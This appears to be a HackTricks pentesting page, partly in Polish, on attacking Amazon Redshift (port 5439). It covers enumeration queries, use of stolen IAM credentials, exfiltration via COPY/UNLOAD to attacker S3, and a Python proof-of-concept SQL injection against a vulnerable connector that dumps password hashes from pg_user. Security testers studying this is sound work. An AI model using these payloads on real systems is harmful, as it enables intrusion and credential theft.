5439 - Pentesting Redshift

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Ten port jest używany przez Amazon Redshift (zarządzana przez AWS hurtownia danych). Protokół Redshift to lekko zmodyfikowany protokół PostgreSQL, więc większość narzędzi klienckich Postgres działa (psql, psycopg2, JDBC/ODBC), ale uwierzytelnianie i wymagania dotyczące TLS różnią się.

For more information check:

AWS - Redshift Enum - HackTricks Cloud

Enumeracja i łączność

  • Default port: 5439/TCP (customizable). Serverless workgroups also default to 5439.
  • Wzorzec publicznego endpointu: <clusterid>.<random>.<region>.redshift.amazonaws.com (publiczny) lub .redshift.amazonaws.com.cn (Chiny). Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com.
  • TLS: Redshift wymaga TLS 1.2+ i cipherów z perfect-forward-secrecy. Starsze klienty mogą nie działać; wymuś użycie nowoczesnego TLS:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Parameter group require_ssl kontroluje, czy połączenia w plaintext są dozwolone. Nowe klastry/workgroups używają default.redshift-2.0 z require_ssl=true, więc downgrade/mitm jest trudniejszy.

Szybka enumeracja z psql

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

Błędy rozróżniają nieprawidłowe hasło od brakującego użytkownika → potencjalne username enumeration podczas brute force.

Authentication paths to test

  • Hasło do bazy danych dla master user (często nazwany awsuser) lub utworzonych użytkowników DB.
  • IAM auth tokens: wygeneruj krótkotrwałe poświadczenia i połącz się przez libpq/JDBC/ODBC używając sslmode=require i authMech=IAM lub plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Wykorzystaj skradzione IAM creds/roles z uprawnieniem analogicznym do rds-db:connect dla Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins: JDBC plugin_name może uruchomić lokalny serwer WWW dla SSO; przechwycony loopback callback może leak SAML assertion lub temp creds.

Common misconfigurations (network)

  • Klaster oznaczony PubliclyAccessible=true z bardzo otwartym SG (0.0.0.0/0) wystawia powierzchnię podobną do Postgres dla brute force lub SQLi.
  • Default port 5439 wraz z domyślnym SG umożliwia łatwe odkrycie (Shodan/Censys). Zmiana portu to drobne zaciemnienie, ale czasem pomijane w listach kontrolnych zabezpieczeń.
  • No enhanced VPC routing → COPY/UNLOAD idą przez publiczny Internet; mogą być nadużyte do exfil, gdy atakujący kontroluje S3 bucket/endpoint.

Attack notes

  • Jeśli logowanie powiedzie się, Redshift nie ma superusera w serverless; w provisioned clusters master user ma szerokie uprawnienia, w tym tworzenie UDFs (Python), external schema do Spectrum, COPY z attacker S3 oraz UNLOAD do exfil danych.
  • Sprawdź cluster parameter group pod kątem max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging – wyłączone logowanie ułatwia działanie w ukryciu.
  • Serverless workgroups nadal osiągalne przez TCP; ta sama powierzchnia ataku SQL co provisioned clusters.
  • Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 i ODBC 2.1.5.0 budują zapytania metadata z niezacytowanym wejściem użytkownika w getSchemas/getTables/getColumns (CVE-2024-12744/5/6). Jeśli aplikacja pozwala atakującemu kontrolować argumenty katalogu lub wzorca, możesz wstrzyknąć dowolne SQL, które wykona się z uprawnieniami DB usera używanego przez connector.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change: Python UDFs przestaną działać 30 czerwca 2026; po tym dozwolone będą tylko Lambda UDFs. Wpływ ofensywny: legacy provisioned clusters wciąż uruchamiają Python UDFs dając możliwość in-cluster code exec (bez FS/network). Lambda UDFs przenoszą kod do Lambda, gdzie IAM role mogą osiągnąć Internet/VPC endpoints dla SSRF/pivot, ale bez bezpośredniego dostępu do filesystem klastra. Poszukiwanie starych klastrów z włączonymi Python UDFs nadal może dać RCE primitives.

Recent security changes (offense impact)

  • Public access disabled by default on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public.
  • Encryption at rest + enforced TLS by default oznacza, że sniffing/mitm jest trudniejszy; potrzebne są ważne poświadczenia lub SSRF do ścieżki VPC.
  • Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoints tworzone w maksymalnie 3 AZ podczas tworzenia. Narzędzia do discovery powinny wyenumerować wszystkie nazwy DNS workgroup VPCE w każdej AZ, aby znaleźć osiągalne IP.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks